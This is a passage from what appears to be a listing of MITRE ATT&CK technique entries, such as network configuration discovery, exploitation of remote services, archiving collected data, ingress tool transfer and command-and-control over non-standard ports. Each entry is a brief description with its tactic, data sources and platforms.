Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre